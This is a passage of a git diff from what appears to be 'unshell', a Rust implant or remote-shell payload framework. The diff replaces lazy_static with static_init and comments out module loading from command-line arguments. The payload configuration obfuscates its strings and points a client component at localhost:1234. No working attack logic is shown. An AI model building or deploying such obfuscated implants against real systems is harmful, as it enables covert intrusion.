"c640b22cd9817fae95be82f0d2f90b11f7605f6c319d16705c459b27ac2cbc26" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.109", ] diff --git a/unshell-payload/Cargo.toml b/unshell-payload/Cargo.toml index 81aa769..1a1d716 100644 --- a/unshell-payload/Cargo.toml +++ b/unshell-payload/Cargo.toml @@ -15,7 +15,8 @@ server = ["unshell-lib/server"] [dependencies] -lazy_static = "1.5.0" +# lazy_static = "1.5.0" +static_init = "1.0.4" unshell-lib = {path = "../unshell-lib", default-features = false} unshell-obfuscate = {path = "../unshell-obfuscate"} diff --git a/unshell-payload/src/main.rs b/unshell-payload/src/main.rs index f81bf16..800de25 100644 --- a/unshell-payload/src/main.rs +++ b/unshell-payload/src/main.rs @@ -1,11 +1,10 @@ -use std::fs::File; -use std::{collections::HashMap, io::Read}; +use std::collections::HashMap; -use lazy_static::lazy_static; +use static_init::dynamic; use unshell_lib::{ ModuleError, config::{PayloadConfig, RuntimeConfig}, - module::{Manager, Module}, + module::Manager, }; use unshell_obfuscate::{obs, symbol}; @@ -13,17 +12,17 @@ use unshell_obfuscate::{obs, symbol}; extern crate unshell_lib; // The main and initial 'configuration' for a payload -lazy_static! { - static ref PAYLOAD_CONFIG: PayloadConfig = PayloadConfig { - id: symbol!("Test ID"), - components: unshell_lib::get_components(), - runtime_config: vec![RuntimeConfig { - parent_component: symbol!("client").to_string(), - name: symbol!("client runtime").to_string(), - config: HashMap::from([(symbol!("host").to_string(), obs!("localhost:1234"))]), - }], - }; -} + +#[dynamic] +static PAYLOAD_CONFIG: PayloadConfig = PayloadConfig { + id: symbol!("Test ID"), + components: unshell_lib::get_components(), + runtime_config: vec![RuntimeConfig { + parent_component: symbol!("client").to_string(), + name: symbol!("client runtime").to_string(), + config: HashMap::from([(symbol!("host").to_string(), obs!("localhost:1234"))]), + }], +}; fn main() { // Init the logger @@ -33,25 +32,27 @@ fn main() { debug!("Initialized"); match || -> Result<(), ModuleError> { - let args = std::env::args(); + // let args = std::env::args(); // TEMPORARY, load the module paths from command line args. - let mut modules = Vec::new(); - for arg in args.skip(1) { - debug!("Loading module: {}", arg); + // let mut modules = Vec::new(); + // for arg in args.skip(1) { + // debug!("Loading module: {}", arg); - let mut file = File::open(arg).map_err(|e| ModuleError::Error(e.to_string().into()))?; - let mut buffer = Vec::new(); - file.read_to_end(&mut buffer) - .map_err(|e| ModuleError::Error(e.to_string().into()))?; + // let mut file = File::open(arg).map_err(|e| ModuleError::Error(e.to_string().into()))?; + // let mut buffer = Vec::new(); + // file.read_to_end(&mut buffer) + // .map_err(|e| ModuleError::Error(e.to_string().into()))?; - modules.push(Module::new_bytes(&buffer)?) + // modules.push(Module::new_bytes(&buffer)?) - // modules.push(Module::new(&arg)?) - } + // // modules.push(Module::new(&arg)?) + // } // Run the manager, this is blocking. - Manager::run(&PAYLOAD_CONFIG, modules); + let manager = Manager::start(&PAYLOAD_CONFIG, Vec::new()); + + Manager::join(manager); Ok(()) }() {